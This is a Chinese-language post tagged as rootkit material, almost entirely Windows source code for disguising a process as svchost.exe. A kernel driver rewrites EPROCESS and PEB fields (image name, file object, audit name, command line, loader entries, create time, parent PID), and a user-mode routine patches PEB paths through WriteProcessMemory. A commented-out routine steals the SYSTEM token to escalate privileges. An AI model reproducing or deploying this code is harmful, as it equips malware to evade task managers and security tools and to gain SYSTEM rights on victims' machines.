[Rootkit]

背景

欺骗任务管理器等行为工具，"隐藏"进程的另一种方法。原理是修改 EPROCESS 中的成员。

驱动层进程伪装

以下代码来自：https://github.com/zhuhuibeishadiao/PathModification

PathModification.h

#ifndef _PATH_MODIFICATION_H_
#define _PATH_MODIFICATION_H_ 1
//NTSTATUS PsGetTarProcessInfo(HANDLE pid);
//
//BOOLEAN PathPebLdr(PEPROCESS Process, WCHAR* szFullName, WCHAR* szBaseName);
//
//BOOLEAN PathPebProcessParameters(PEPROCESS Process, WCHAR* szFullName);
//
//BOOLEAN PathSeAuditProcessCreationInfo(PEPROCESS Process, WCHAR* ProcessName);
//
//BOOLEAN PathImageFileName(PEPROCESS Process, char* cName);
//
//BOOLEAN PathSeFileObject(PEPROCESS Process, WCHAR* szFullName);

BOOLEAN PathModification(HANDLE pid);
#endif

PathModification.c

#include "pch.h"

#pragma warning(disable: 4214)
#pragma warning(disable: 4057)
#pragma warning(disable: 4201)
#pragma warning(disable: 4267)

typedef struct _LDR_DATA_TABLE_ENTRY                         // 24 elements, 0xE0 bytes (sizeof) 
{
    /*0x000*/     struct _LIST_ENTRY InLoadOrderLinks;                     // 2 elements, 0x10 bytes (sizeof)  
    /*0x010*/     struct _LIST_ENTRY InMemoryOrderLinks;                   // 2 elements, 0x10 bytes (sizeof)  
    /*0x020*/     struct _LIST_ENTRY InInitializationOrderLinks;           // 2 elements, 0x10 bytes (sizeof)  
    /*0x030*/     VOID*        DllBase;
    /*0x038*/     VOID*        EntryPoint;
    /*0x040*/     ULONG32      SizeOfImage;
    /*0x044*/     UINT8        _PADDING0_[0x4];
    /*0x048*/     struct _UNICODE_STRING FullDllName;                      // 3 elements, 0x10 bytes (sizeof)  
    /*0x058*/     struct _UNICODE_STRING BaseDllName;                      // 3 elements, 0x10 bytes (sizeof)  
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

typedef struct _CURDIR              // 2 elements, 0x18 bytes (sizeof) 
{
    /*0x000*/     struct _UNICODE_STRING DosPath; // 3 elements, 0x10 bytes (sizeof) 
    /*0x010*/     VOID*        Handle;
}CURDIR, *PCURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS                // 30 elements, 0x400 bytes (sizeof) 
{
    /*0x000*/     ULONG32      MaximumLength;
    /*0x004*/     ULONG32      Length;
    /*0x008*/     ULONG32      Flags;
    /*0x00C*/     ULONG32      DebugFlags;
    /*0x010*/     VOID*        ConsoleHandle;
    /*0x018*/     ULONG32      ConsoleFlags;
    /*0x01C*/     UINT8        _PADDING0_[0x4];
    /*0x020*/     VOID*        StandardInput;
    /*0x028*/     VOID*        StandardOutput;
    /*0x030*/     VOID*        StandardError;
    /*0x038*/     struct _CURDIR CurrentDirectory;                       // 2 elements, 0x18 bytes (sizeof)   
    /*0x050*/     struct _UNICODE_STRING DllPath;                        // 3 elements, 0x10 bytes (sizeof)   
    /*0x060*/     struct _UNICODE_STRING ImagePathName;                  // 3 elements, 0x10 bytes (sizeof)   
    /*0x070*/     struct _UNICODE_STRING CommandLine;                    // 3 elements, 0x10 bytes (sizeof)   
    /*0x080*/     VOID*        Environment;
    /*0x088*/     ULONG32      StartingX;
    /*0x08C*/     ULONG32      StartingY;
    /*0x090*/     ULONG32      CountX;
    /*0x094*/     ULONG32      CountY;
    /*0x098*/     ULONG32      CountCharsX;
    /*0x09C*/     ULONG32      CountCharsY;
    /*0x0A0*/     ULONG32      FillAttribute;
    /*0x0A4*/     ULONG32      WindowFlags;
    /*0x0A8*/     ULONG32      ShowWindowFlags;
    /*0x0AC*/     UINT8        _PADDING1_[0x4];
    /*0x0B0*/     struct _UNICODE_STRING WindowTitle;                    // 3 elements, 0x10 bytes (sizeof)   
    /*0x0C0*/     struct _UNICODE_STRING DesktopInfo;                    // 3 elements, 0x10 bytes (sizeof)   
    /*0x0D0*/     struct _UNICODE_STRING ShellInfo;                      // 3 elements, 0x10 bytes (sizeof)   
    /*0x0E0*/     struct _UNICODE_STRING RuntimeData;                    // 3 elements, 0x10 bytes (sizeof)   
}RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;


typedef struct _PEB_LDR_DATA                            // 9 elements, 0x58 bytes (sizeof) 
{
    /*0x000*/     ULONG32      Length;
    /*0x004*/     UINT8        Initialized;
    /*0x005*/     UINT8        _PADDING0_[0x3];
    /*0x008*/     VOID*        SsHandle;
    /*0x010*/     struct _LIST_ENTRY InLoadOrderModuleList;           // 2 elements, 0x10 bytes (sizeof) 
    /*0x020*/     struct _LIST_ENTRY InMemoryOrderModuleList;         // 2 elements, 0x10 bytes (sizeof) 
    /*0x030*/     struct _LIST_ENTRY InInitializationOrderModuleList; // 2 elements, 0x10 bytes (sizeof) 
    /*0x040*/     VOID*        EntryInProgress;
    /*0x048*/     UINT8        ShutdownInProgress;
    /*0x049*/     UINT8        _PADDING1_[0x7];
    /*0x050*/     VOID*        ShutdownThreadId;
}PEB_LDR_DATA, *PPEB_LDR_DATA;


typedef struct _PEB                                                                               // 91 elements, 0x380 bytes (sizeof) 
{
    /*0x000*/     UINT8        InheritedAddressSpace;
    /*0x001*/     UINT8        ReadImageFileExecOptions;
    /*0x002*/     UINT8        BeingDebugged;
    union                                                                                         // 2 elements, 0x1 bytes (sizeof)    
    {
        /*0x003*/         UINT8        BitField;
        struct                                                                                    // 6 elements, 0x1 bytes (sizeof)    
        {
            /*0x003*/             UINT8        ImageUsesLargePages : 1;                                                 // 0 BitPosition                     
            /*0x003*/             UINT8        IsProtectedProcess : 1;                                                  // 1 BitPosition                     
            /*0x003*/             UINT8        IsLegacyProcess : 1;                                                     // 2 BitPosition                     
            /*0x003*/             UINT8        IsImageDynamicallyRelocated : 1;                                         // 3 BitPosition                     
            /*0x003*/             UINT8        SkipPatchingUser32Forwarders : 1;                                        // 4 BitPosition                     
            /*0x003*/             UINT8        SpareBits : 3;                                                           // 5 BitPosition                     
        };
    };
    /*0x008*/     VOID*        Mutant;
    /*0x010*/     VOID*        ImageBaseAddress;
    /*0x018*/     struct _PEB_LDR_DATA* Ldr;
    /*0x020*/     struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;
}PEB, *PPEB;

/*
+0x2e0 ImageFileName    : [15]  "explorer.exe"
0: kd> dt _SE_AUDIT_PROCESS_CREATION_INFO fffffa80037a7b30+0x390
nt!_SE_AUDIT_PROCESS_CREATION_INFO
+0x000 ImageFileName    : 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
0: kd> dt 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
nt!_OBJECT_NAME_INFORMATION
+0x000 Name             : _UNICODE_STRING "DeviceHarddiskVolume1Windowsexplorer.exe"
PEB ProcessParameters
+0x060 ImagePathName    : _UNICODE_STRING "C:WindowsExplorer.EXE"
+0x070 CommandLine      : _UNICODE_STRING "C:WindowsExplorer.EXE"
+0x080 Environment      : 0x00000000`02932eb0 Void
+0x088 StartingX        : 0
+0x08c StartingY        : 0
+0x090 CountX           : 0
+0x094 CountY           : 0
+0x098 CountCharsX      : 0
+0x09c CountCharsY      : 1
+0x0a0 FillAttribute    : 0x175
+0x0a4 WindowFlags      : 1
+0x0a8 ShowWindowFlags  : 1
+0x0b0 WindowTitle      : _UNICODE_STRING "C:WindowsExplorer.EXE"
+0x0c0 DesktopInfo      : _UNICODE_STRING "Winsta0Default"
+0x0d0 ShellInfo        : _UNICODE_STRING "C:WindowsExplorer.EXE"
InLoadOrderModuleList InMemoryOrderLinks是同一片内存区域(前者+0x10就是后者 只需要改一个地方就行 最好前者)
*/

WCHAR* g_szTarSeAuditProcessName = NULL;
WCHAR* g_szTarPebFullName = NULL;
WCHAR* g_szTarPebBaseName = NULL;
WCHAR* g_szTarFileObjectName = NULL;
WCHAR* g_szTarPebCurrentDir = NULL;
WCHAR* g_szTarWin10ImageFilePointerName = NULL; //offset 0x448
LARGE_INTEGER g_TarCreateTime = { 0 };
ULONG_PTR g_TarInheritedFromUniqueProcessId = 0;

// 获取被伪装的进程的一些信息
NTSTATUS PsGetTarProcessInfo(HANDLE pid)
{
    // SE_AUDIT_PROCESS_CREATION_INFO
    // PEB ProcessParameters
    // PEB Ldr
    PPEB peb = NULL;
    PLDR_DATA_TABLE_ENTRY ldr = NULL;
    PEPROCESS Process = NULL;
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    PUNICODE_STRING SeAuditName = NULL;
    PUNICODE_STRING SelocateName = NULL;
    PFILE_OBJECT pFileObject = NULL;

    status = PsLookupProcessByProcessId(pid, &Process);

    if (!NT_SUCCESS(status))
        return status;

    g_TarCreateTime.QuadPart = PsGetProcessCreateTimeQuadPart(Process);
    g_TarInheritedFromUniqueProcessId = PsGetProcessInheritedFromUniqueProcessId(Process);

    if (*NtBuildNumber > 9600)
    {
        g_szTarWin10ImageFilePointerName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
        if (g_szTarWin10ImageFilePointerName == NULL)
            return STATUS_NO_MEMORY;

        RtlZeroMemory(g_szTarWin10ImageFilePointerName, KMAX_PATH * 2);
    }

    if (g_szTarPebBaseName == NULL)
        g_szTarPebBaseName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);

    if (g_szTarPebFullName == NULL)
        g_szTarPebFullName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);

    if (g_szTarSeAuditProcessName == NULL)
        g_szTarSeAuditProcessName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);

    if(g_szTarFileObjectName == NULL)
        g_szTarFileObjectName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);

    if (g_szTarPebCurrentDir == NULL)
        g_szTarPebCurrentDir = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);

    if (g_szTarPebBaseName && g_szTarPebFullName && g_szTarSeAuditProcessName && g_szTarFileObjectName && g_szTarPebCurrentDir)
    {
        RtlZeroMemory(g_szTarPebBaseName, MAX_PATH * 2);
        RtlZeroMemory(g_szTarPebFullName, MAX_PATH * 2);
        RtlZeroMemory(g_szTarSeAuditProcessName, KMAX_PATH * 2);
        RtlZeroMemory(g_szTarFileObjectName, KMAX_PATH * 2);
        RtlZeroMemory(g_szTarPebCurrentDir, KMAX_PATH * 2);

        if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName)))
            return STATUS_UNSUCCESSFUL;

        ExFreePool(SelocateName);

        if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
            return STATUS_UNSUCCESSFUL;

        RtlCopyMemory(g_szTarFileObjectName, pFileObject->FileName.Buffer, pFileObject->FileName.Length);

        ObDereferenceObject(pFileObject);

        if (*NtBuildNumber > 9600)
        {
            pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448)); //+0x448 ImageFilePointer 
            if (!MmIsAddressValid(pFileObject))
            {
                ObDereferenceObject(Process);
                return STATUS_UNSUCCESSFUL;
            }

            RtlCopyMemory(g_szTarWin10ImageFilePointerName, pFileObject->FileName.Buffer, pFileObject->FileName.Length);
        }

        if(*NtBuildNumber < 9600)
            SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390)); // win7 offset 
        else
            SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468)); // win10 offset 14393 15063 16299

        if (!MmIsAddressValid(SeAuditName))
        {
            ObDereferenceObject(Process);
            return STATUS_UNSUCCESSFUL;
        }

        RtlCopyMemory(g_szTarSeAuditProcessName, SeAuditName->Buffer, SeAuditName->Length);

        peb = PsGetProcessPeb(Process);

        KeAttachProcess(Process);

        __try {
            RtlCopyMemory(g_szTarPebFullName, peb->ProcessParameters->ImagePathName.Buffer, peb->ProcessParameters->ImagePathName.Length);
            ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
            RtlCopyMemory(g_szTarPebBaseName, ldr->BaseDllName.Buffer, ldr->BaseDllName.Length);
            RtlCopyMemory(g_szTarPebCurrentDir, peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, peb->ProcessParameters->CurrentDirectory.DosPath.Length);
            status = STATUS_SUCCESS;
        }
        __except (1)
        {
        }

        KeDetachProcess();

    }
    else
    {
        status = STATUS_NO_MEMORY;
    }

    ObDereferenceObject(Process);

    return status;
}

BOOLEAN PathWin10ImageNamePoint(PEPROCESS Process, WCHAR* szFullName)
{
    BOOLEAN bRet = FALSE;
    PFILE_OBJECT pFileObject = NULL;
    WCHAR* szNewFullName = NULL;

    if (szFullName == NULL || Process == NULL)
        return FALSE;

    szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
    if (szNewFullName == NULL)
        return FALSE;

    RtlZeroMemory(szNewFullName, KMAX_PATH * 2);

    pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448)); //+0x448 ImageFilePointer 

    if (!MmIsAddressValid(pFileObject))
    {
        ExFreePool(szNewFullName);
        return FALSE;
    }

    if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
    {
        RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
        RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        ExFreePool(szNewFullName);
        bRet = TRUE;
    }
    else
    {
        RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Buffer = szNewFullName;
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
        bRet = TRUE;
    }

    return bRet;
}

BOOLEAN PathSeFileObject(PEPROCESS Process, WCHAR* szFullName)
{
    BOOLEAN bRet = FALSE;
    PFILE_OBJECT pFileObject = NULL;
    WCHAR* szNewFullName = NULL;

    if (szFullName == NULL || Process == NULL)
        return FALSE;

    szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
    if (szNewFullName == NULL)
        return FALSE;

    RtlZeroMemory(szNewFullName, KMAX_PATH * 2);

    if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
        return FALSE;

    if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
    {
        RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
        RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        ExFreePool(szNewFullName);
        bRet = TRUE;
    }
    else
    {
        RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Buffer = szNewFullName;
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
        bRet = TRUE;
    }

    ObDereferenceObject(pFileObject);
    return bRet;
}

BOOLEAN PathPebLdr(PEPROCESS Process, WCHAR* szFullName, WCHAR* szBaseName)
{
    PPEB peb = NULL;
    BOOLEAN bRet = FALSE;
    BOOLEAN bAttach = FALSE;
    PLDR_DATA_TABLE_ENTRY ldr = NULL;
    if (Process == NULL || szFullName == NULL || szBaseName == NULL)
        return FALSE;

    do
    {
        peb = PsGetProcessPeb(Process);

        if (peb == NULL)
            break;

        KeAttachProcess(Process);
        bAttach = TRUE;

        __try {
            ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;

            if (!MmIsAddressValid(ldr))
                break;

            if (ldr->FullDllName.Length < wcslen(szFullName) * 2)
                break;

            if (ldr->BaseDllName.Length < wcslen(szBaseName) * 2)
                break;

            RtlZeroMemory(ldr->FullDllName.Buffer, ldr->FullDllName.MaximumLength);
            RtlCopyMemory(ldr->FullDllName.Buffer, szFullName, wcslen(szFullName) * 2);

            RtlZeroMemory(ldr->BaseDllName.Buffer, ldr->BaseDllName.MaximumLength);
            RtlCopyMemory(ldr->BaseDllName.Buffer, szBaseName, wcslen(szBaseName) * 2);
            bRet = TRUE;
        }
        __except (1)
        {
        }

    } while (FALSE);

    if (bAttach)
        KeDetachProcess();

    return bRet;
}

BOOLEAN PathPebProcessParameters(PEPROCESS Process, WCHAR* szFullName)
{
    BOOLEAN bRet = FALSE;
    BOOLEAN bAttach = FALSE;
    PPEB Peb = NULL;

    if (Process == NULL || szFullName == NULL)
        return FALSE;

    do
    {
        Peb = PsGetProcessPeb(Process);

        if (Peb == NULL)
            break;

        KeAttachProcess(Process);
        bAttach = TRUE;

        __try {
            if (Peb->ProcessParameters->ImagePathName.Length < wcslen(szFullName) * 2)
                break;

            RtlZeroMemory(Peb->ProcessParameters->ImagePathName.Buffer, Peb->ProcessParameters->ImagePathName.MaximumLength);
            RtlCopyMemory(Peb->ProcessParameters->ImagePathName.Buffer, szFullName, wcslen(szFullName) * 2);

            RtlZeroMemory(Peb->ProcessParameters->CommandLine.Buffer, Peb->ProcessParameters->CommandLine.MaximumLength);
            RtlCopyMemory(Peb->ProcessParameters->CommandLine.Buffer, szFullName, wcslen(szFullName) * 2);

            if (Peb->ProcessParameters->WindowTitle.Length >= wcslen(szFullName) * 2)
            {
                RtlZeroMemory(Peb->ProcessParameters->WindowTitle.Buffer, Peb->ProcessParameters->WindowTitle.MaximumLength);
                RtlCopyMemory(Peb->ProcessParameters->WindowTitle.Buffer, szFullName, wcslen(szFullName) * 2);
            }

            if (Peb->ProcessParameters->ShellInfo.Length >= wcslen(szFullName) * 2)
            {
                RtlZeroMemory(Peb->ProcessParameters->ShellInfo.Buffer, Peb->ProcessParameters->ShellInfo.MaximumLength);
                RtlCopyMemory(Peb->ProcessParameters->ShellInfo.Buffer, szFullName, wcslen(szFullName) * 2);
            }

            if (Peb->ProcessParameters->CurrentDirectory.DosPath.Length >= wcslen(g_szTarPebCurrentDir) * 2)
            {
                RtlZeroMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, Peb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
                RtlCopyMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, g_szTarPebCurrentDir, wcslen(g_szTarPebCurrentDir) * 2);
            }
            bRet = TRUE;
        }
        __except (1)
        {

        }

    } while (FALSE);

    if(bAttach)
        KeDetachProcess();

    return bRet;
}

// 这里的ProcessName 为全路径 DeviceHarddiskVolume1Windowsexplorer.exe 这里使用GetTarProcessInfo去获取即可
BOOLEAN PathSeAuditProcessCreationInfo(PEPROCESS Process, WCHAR* ProcessName)
{
    PUNICODE_STRING Name = NULL;
    PUNICODE_STRING SelocateName = NULL;

    if (Process == NULL || ProcessName == NULL)
        return FALSE;

    if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName)))
        return FALSE;

    ExFreePool(SelocateName);

    if(*NtBuildNumber < 9600)
        Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390));
    else
        Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468));

    if (!MmIsAddressValid(Name))
        return FALSE;

    if ((wcslen(ProcessName) * 2) > Name->Length)
    {
        return FALSE;
    }

    RtlZeroMemory(Name->Buffer, Name->MaximumLength);
    RtlCopyMemory(Name->Buffer, ProcessName, wcslen(ProcessName) * 2);
    Name->Length = wcslen(ProcessName) * 2;
    return TRUE;
}

// cName15字节的大小 分配内存时注意要大于15
BOOLEAN PathImageFileName(PEPROCESS Process, char* cName)
{
    char    szNameBuff[15] = { 0 };
    char*   szProcessBuff = NULL;
    size_t  cNamelen = 0;

    if (Process == NULL || cName == NULL)
        return FALSE;

    cNamelen = strlen(cName);

    RtlZeroMemory(szNameBuff, sizeof(szNameBuff));
    if(cNamelen > 15)
        RtlCopyMemory(szNameBuff, cName, sizeof(szNameBuff));
    else
        RtlCopyMemory(szNameBuff, cName, cNamelen);
    szProcessBuff = PsGetProcessImageFileName(Process);
    RtlZeroMemory(szProcessBuff, sizeof(szNameBuff));
    RtlCopyMemory(szProcessBuff, szNameBuff, sizeof(szNameBuff));

    return TRUE;
}

PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address)
{
    //
    // To get an address of a token from the Token field in EPROCESS, the lowest
    // N bits where N is size of a RefCnt field needs to be masked.
    //
    // kd> dt nt!_EX_FAST_REF
    //   + 0x000 Object : Ptr64 Void
    //   + 0x000 RefCnt : Pos 0, 4 Bits
    //   + 0x000 Value  : Uint8B
    //
    ULONG_PTR Value = *(ULONG_PTR*)(Address);
    return (PACCESS_TOKEN)(Value & ((ULONG_PTR)(~0xf)));
}

BOOLEAN PathToken(PEPROCESS Process)
{
    PACCESS_TOKEN CurrentToken = NULL;
    PACCESS_TOKEN SystemToken = NULL;
    BOOLEAN bRet = FALSE;
    CurrentToken = PsReferencePrimaryToken(Process);
    SystemToken = PsReferencePrimaryToken(PsInitialSystemProcess);

    for (auto Offset = 0ul; Offset < sizeof(void *) * 0x80;
        Offset += sizeof(void *))
    {
        // Is this address stores token?
        ULONG_PTR TestAddress = (ULONG_PTR)Process + Offset;
        PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
        if (ProbableToken == CurrentToken)
        {
            // Found the field, replace the contents with the SYSTEM token
            PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
            *TokenAddress = SystemToken;
            bRet = TRUE;
            break;
        }
    }
    //ULONG_PTR TestAddress = (ULONG_PTR)Process + 0x358;
    //PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
    //if (ProbableToken == CurrentToken)
    //{
    //    // Found the field, replace the contents with the SYSTEM token
    //    PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
    //    *TokenAddress = SystemToken;
    //    bRet = TRUE;
    //}

    PsDereferencePrimaryToken(CurrentToken);
    PsDereferencePrimaryToken(SystemToken);
    return bRet;
}

BOOLEAN PathCreateTime(PEPROCESS Process)
{
    ULONG offset = 0;
    offset = *(PULONG)((ULONG_PTR)PsGetProcessCreateTimeQuadPart + 3);
    if (offset)
    {
        *(LARGE_INTEGER*)((ULONG_PTR)Process + offset) = g_TarCreateTime;
        return TRUE;
    }
    return FALSE;
}

BOOLEAN PathInheritedFromUniqueProcessId(PEPROCESS Process)
{
    ULONG offset = 0;
    offset = *(PULONG)((ULONG_PTR)PsGetProcessInheritedFromUniqueProcessId + 3);
    if (offset)
    {
        *(ULONG_PTR*)((ULONG_PTR)Process + offset) = g_TarInheritedFromUniqueProcessId;
        return TRUE;
    }
    return FALSE;
}

BOOLEAN PathModification(HANDLE pid)
{
    HANDLE SvchostPid = NULL;
    PEPROCESS Process = NULL;
    //DbgBreakPoint();

    // 不支持x86进程
    if (!PsIs64BitProcess(pid))
        return FALSE;

    SvchostPid = (HANDLE)PsGetProcesIdBitByName("svchost.exe", TRUE);

    if (SvchostPid == NULL)
        return FALSE;

    if (!NT_SUCCESS(PsGetTarProcessInfo(SvchostPid)))
        return FALSE;

    if (!NT_SUCCESS(PsLookupProcessByProcessId(pid, &Process)))
        return FALSE;

    PathSeFileObject(Process, g_szTarFileObjectName);

    if (*NtBuildNumber > 9600)
        PathWin10ImageNamePoint(Process, g_szTarWin10ImageFilePointerName);

    PathImageFileName(Process, "svchost.exe");

    PathSeAuditProcessCreationInfo(Process, g_szTarSeAuditProcessName);

    PathPebProcessParameters(Process, g_szTarPebFullName);

    PathPebLdr(Process, g_szTarPebFullName, g_szTarPebBaseName);

    //PathToken(Process);

    PathCreateTime(Process);

    PathInheritedFromUniqueProcessId(Process);

    ObDereferenceObject(Process);
    return TRUE;
}

应用层进程伪装

//************************************
    // 函数名：CHideDlg::DisguiseProcess
    // 返回类型：BOOL
    // 功能:    修改指定PEB中的路径和命令行信息, 实现进程伪装
    // 参数1：DWORD dwProcessId 需要伪装的程序的PID
    // 参数2：wchar_t *lpwszPath 伪装之后程序的路径
    //************************************
BOOL CHideDlg::DisguiseProcess(DWORD dwProcessId, wchar_t *lpwszPath)
{
    // 打开进程获取句柄
    HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        MessageBox(_T("打开进程失败！"));
        return FALSE;
    }

    //定义函数指针变量
    typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    PEB peb = { 0 };
    RTL_USER_PROCESS_PARAMETERS Param = { 0 };
    USHORT usCmdLen = 0;
    USHORT usPathLen = 0;

    // 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
    NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
        ::LoadLibrary(_T("ntdll.dll")), "NtQueryInformationProcess");
    if (NULL == NtQueryInformationProcess)
    {
        MessageBox(_T("获取NtQueryInformationProcess函数地址失败！"));
        return FALSE;
    }

    // 获取指定进程的基本信息
    NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    if (!NT_SUCCESS(status))
    {
        MessageBox(_T("获取进程的基本信息失败！"));
        return FALSE;
    }

    // 获取指定进程基本信息结构中的PebBaseAddress
    //::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
    // 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间
    //::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

    // 修改指定PEB中的路径信息, 注意指针指向的是指定进程空间
    usPathLen = 2 + 2 * ::wcslen(lpwszPath);
    ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, &lpwszPath, sizeof(PWSTR), NULL);
    ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
    ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.MaximumLength, &usPathLen, sizeof(usPathLen), NULL);

    // 修改指定PEB中的命令行信息, 注意指针指向的是指定进程空间
    //usCmdLen = 2 + 2 * ::wcslen(lpwszPath);    
    ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->CommandLine.Buffer, &lpwszPath,sizeof(PWSTR), NULL);
    ::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->CommandLine.Length, &usPathLen, sizeof(usPathLen), NULL);


    return TRUE;
}